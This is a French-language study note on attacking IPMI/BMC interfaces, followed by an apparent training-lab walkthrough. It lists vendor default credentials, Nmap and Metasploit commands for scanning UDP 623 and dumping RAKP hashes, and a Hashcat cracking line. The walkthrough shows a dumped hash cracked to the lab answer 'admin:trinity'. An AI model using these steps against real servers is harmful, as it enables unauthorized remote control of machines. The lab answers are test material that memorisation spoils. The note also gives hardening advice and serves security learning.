IPMI (Intelligent Platform Management Interface)
🧠 Définition et rôle
IPMI (Intelligent Platform Management Interface) est un protocole normalisé permettant aux administrateurs de surveiller et de gérer des serveurs à distance, même lorsqu’ils sont éteints ou bloqués. Contrairement aux outils classiques, IPMI fonctionne indépendamment :
du système d’exploitation
du processeur
du BIOS
et même de l’état d’allumage de la machine
🌟 Utilités d'IPMI :
Redémarrer une machine à distance
Modifier des paramètres BIOS avant le démarrage
Réinstaller un OS sans accès physique
Surveiller l’état matériel (température, alimentation, ventilateurs)
Accéder aux journaux système
🧱 Architecture et composants
Le composant clé d'IPMI est le BMC (Baseboard Management Controller), présent sur de nombreuses cartes mères.
🛠️ Composants principaux :
BMC : le microcontrôleur central
IPMB : communication interne sur la carte mère
ICMB : communication entre châssis
Mémoire IPMI : stocke journaux et paramètres
Interfaces : LAN (UDP 623), série, PCI, etc.
IPMI reste actif tant que le BMC est alimenté et connecté, indépendamment de l’OS hôte.
🔍 Découverte & scan IPMI
Par défaut, IPMI écoute sur UDP/623. On le retrouve dans :
Dell DRAC
HP iLO
Supermicro IPMI
🕹️ Scan avec Nmap :
sudo nmap -sU --script ipmi-version -p 623 <IP BMC>
🌐 Exemple (IP anonymisée) :
PORT STATE SERVICE
623/udp open asf-rmcp
| ipmi-version:
| Version: IPMI-2.0
| UserAuth: auth_user, non_null_user
| PassAuth: password, md5, null
|_ Level: 2.0
🛠️ Avec Metasploit :
use auxiliary/scanner/ipmi/ipmi_version
set RHOSTS <IP BMC>
run
⚠️ Paramètres sensibles & failles
🔑 Mots de passe par défaut (souvent oubliés)
Dell iDRAC
root
calvin
HP iLO
Administrator
[chaîne aléatoire]
Supermicro IPMI
ADMIN
ADMIN
🔐 Faille RAKP : dump de hash sans authentification
Dans IPMI 2.0, un hash SHA1 ou MD5 est transmis avant authentification. On peut donc :
Récupérer ce hash
Le craquer avec Hashcat (mode
7300
)
🤖 Metasploit :
use auxiliary/scanner/ipmi/ipmi_dumphashes
set RHOSTS <IP BMC>
run
🚀 Craquage exemple :
hashcat -m 7300 hash.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?u?d
🔧 Risques et conséquences
Un accès IPMI = accès quasi physique :
Redémarrage, extinction
Installation de backdoors
Accès console
Fuite de mots de passe réutilisés
📉 Problèmes courants :
Interfaces IPMI accessibles depuis le LAN/Internet
Mots de passe par défaut laissés en place
Réutilisation de mots de passe sur SSH, web, etc.
🔒 Bonnes pratiques
Isoler IPMI sur un VLAN d’administration
Modifier tous les mots de passe par défaut
Utiliser des mots de passe complexes
Restreindre l’accès aux réseaux internes uniquement
Monitorer les connexions (logs, alertes SNMP)
🛠️ Outils utiles
nmap
Scan de version, brute-force SID
Metasploit
Modules IPMI (version, hash, vuln)
hashcat
Craquage de hash IPMI
ipmitool
Interaction directe avec le BMC
hydra
Brute-force des interfaces web/SSH
📚 Ressources utiles
What username is configured for accessing the host via IPMI?
Réalisation d'un scan UDP de notre cible :
$ nmap -sU --script ipmi-version -p 623 10.129.202.5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-25 16:27 CDT
Nmap scan report for 10.129.202.5
Host is up (0.0080s latency).
PORT STATE SERVICE
623/udp open asf-rmcp
| ipmi-version:
| Version:
| IPMI-2.0
| UserAuth: password, md5, md2, null
| PassAuth: auth_msg, auth_user, non_null_user
|_ Level: 1.5, 2.0
Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds
Lancement de Metasploit :
msfconsole
Configuration et lancement du dumping de hash :
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 10.129.203.176
rhosts => 10.129.203.176
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 10.129.203.176:623 - IPMI - Hash found: admin:24d3129b023701005cae62b73785f0cc7d0b5d351f0b1cb6aed3edc553b966321df3ad0f4247ea95a123456789abcdefa123456789abcdef140561646d696e:c12352761a4fb47bbc2332e501a01748b03624d1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Nous pouvons observer la ligne suivante :
[+] 10.129.203.176:623 - IPMI - Hash found: admin:24d3129b023701005cae62b73785f0cc7d0b5d351f0b1cb6aed3edc553b966321df3ad0f4247ea95a123456789abcdefa123456789abcdef140561646d696e:c12352761a4fb47bbc2332e501a01748b03624d1
Nous obtenons alors le compte configuré pour accéder à l'hôte via IPMI : admin
.
What is the account's cleartext password?
Nous allons nous baser sur la ligne retournée par notre Metasploit
afin de craquer le mot de passe :
[+] 10.129.203.176:623 - IPMI - Hash found: admin:24d3129b023701005cae62b73785f0cc7d0b5d351f0b1cb6aed3edc553b966321df3ad0f4247ea95a123456789abcdefa123456789abcdef140561646d696e:c12352761a4fb47bbc2332e501a01748b03624d1
Afin de craquer le mot de passe, nous configurons la wordlist rockyou.txt dans nos options Metasploit
, avant de lancer de nouveau notre exploit :
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set pass_file /usr/share/wordlists/rockyou.txt
pass_file => /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 10.129.203.176:623 - IPMI - Hash found: admin:ea9f16e1023f0100acc55c7b05a59b8c86a773c5e9ea28cc966a5bef33fba2b70c641d7c11f6a8aba123456789abcdefa123456789abcdef140561646d696e:abde2b3e8d28f27799aa648cca8ca97ff6e84a41
[+] 10.129.203.176:623 - IPMI - Hash for user 'admin' matches password 'trinity'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Le programme nous retourne donc le mot de passe en clair de l'utilisateur admin:trinity
.
Mis à jour